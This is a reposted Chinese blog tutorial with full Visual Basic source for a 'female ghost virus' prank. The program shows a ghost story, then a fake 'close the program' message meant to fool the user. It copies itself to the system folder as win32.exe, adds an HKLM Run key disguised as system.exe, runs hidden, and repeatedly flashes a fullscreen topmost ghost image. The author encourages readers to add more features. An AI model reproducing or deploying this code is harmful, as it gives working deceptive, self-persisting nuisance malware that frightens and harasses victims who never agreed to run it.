naoga

用VB写“女鬼病毒”<转>

记得在前两年有一个吓人的女鬼FLASH,后来据说是吓死个台湾女大学生而得名为“女鬼病毒”之称!这个女鬼,我以前也见过,确实很害怕。不过这个女鬼也挺好玩的!现在让我们也来动手做一个吧!

        女鬼FLASH在启动的时候出现一个黑底绿字的界面,上面是个鬼故事。停留几秒钟,鬼故事就没了。但是真正的女鬼就要来了~!突然,哇~~~~的,吓人跳!就这么一下,就叫人受不了。

        我在编写的时候过程跟这个差不多,但是我要把它加载到注册表里,让它跟着系统一起启动。但是,为了不让它每次启动时都出现那个鬼故事,所以就在硬盘上写个文件,只要有那个文件就不出现鬼故事的界面了(我觉得这里我是越说越说不清了,看代码就直观多了)!在女鬼出现的那一瞬间,这个窗体是在所有窗体前面的,为了实现这个功能,我们必须调用一个API函数——SetWindowPos,在VB中的完整的函数定义是:

Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

另外还要使用一个得到系统目录的API函数——GetSystemDirectory,在VB中完整的函数定义是:

Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

        该介绍的都介绍完了。下面来看看我的制作过程吧!这个程序需要两个窗体,分别是form1和form2,程序中都加了注释,一定可以看懂!

先看form1的代码:

Option Explicit

Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Dim i As Integer            '计数器变量

Private Sub Form_Load()

            Dim syspath As String         '保存系统路径

            Dim strpath As String         '保存文件所在路径

            Dim wshshell As Object

            Set wshshell = CreateObject("wscript.shell")

        

            '获得系统路径

            syspath = Space(256)

            GetSystemDirectory syspath, 256

            syspath = Trim(syspath)

            syspath = Left(syspath, Len(syspath) - 1)

        

            '获得文件所在路径

            strpath = IIf(Right(App.Path, 1) = "\", App.Path, App.Path & "\") & App.EXEName & ".exe"

        

            If Dir(syspath & "\win.dat") = "" Then

                    '在系统目录下建一个win.dat的文件,下次随机启动时,不会出现鬼故事的对话框

                    Open syspath & "\win.dat" For Output As #1

                            Print #1, "女鬼到此一游!"

                    Close #1

                    MsgBox "鬼故事的内容", , "鬼故事"              '这里放一段吓人的鬼故事

                    MsgBox "很害怕吧!点确定关闭该程序", , "鬼故事"                   '用这个迷惑别人,以为真的关闭了

               

                    '复制到系统目录下

                    FileCopy strpath, syspath & "\win32.exe"

               

                    '添加到注册表的启动里

                    wshshell.regwrite "HKLM\software\microsoft\windows\currentversion\run\system.exe", syspath & "\win32.exe"

            End If

        

            Form1.Visible = False        '窗体是隐藏的

        

            Timer1.Interval = 1000       '1秒钟1次

            Timer1.Enabled = True

End Sub

Private Sub Timer1_Timer()

            i = i + 1

            If i = 5 Then         '在后台等待5秒钟

                    Form2.Show

                    i = 0

                    Timer1.Interval = 0        '是timer1失效

            End If

End Sub

form1一直在后台等待,每到5秒,就让form2显示一次,form2上有我们可爱的女鬼的图片,就是让她出来吓人!看form2的代码:

Option Explicit

Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Sub Form_Load()

            SetWindowPos Form2.hwnd, -1, 0, 0, Screen.Width, Screen.Height, 0       '将窗口设为总在最前

            Timer1.Interval = 1000

            Timer1.Enabled = True

End Sub

Private Sub Timer1_Timer()

            Form1.Timer1.Interval = 1000

            Timer1.Enabled = False

            Unload Form2

End Sub

        好了,全部的代码都给完了!很简单吧!稍微有些VB基础的都可以看懂!这个程序是我在98下写的。大家也知道现在用注册表启动木马之类的东西已经过时了。因此,大家可以在往里面加一些功能,让它强大些!

        总结:很多东西,都可以用简单的方法完成,很多复杂的东西都是由简单的东西组成。记得《黑客X档案》上说过,原话忘了,大意是:任何东西学了是要拿来用的,并不是什么东西都要去学,一味去学,而不去用,结果是什么都学不会的!

注:其实这个不能叫病毒,它没有强大的破坏性,也没有传染性,娱乐而已。反正是转的,啊哈哈哈。。。。

评论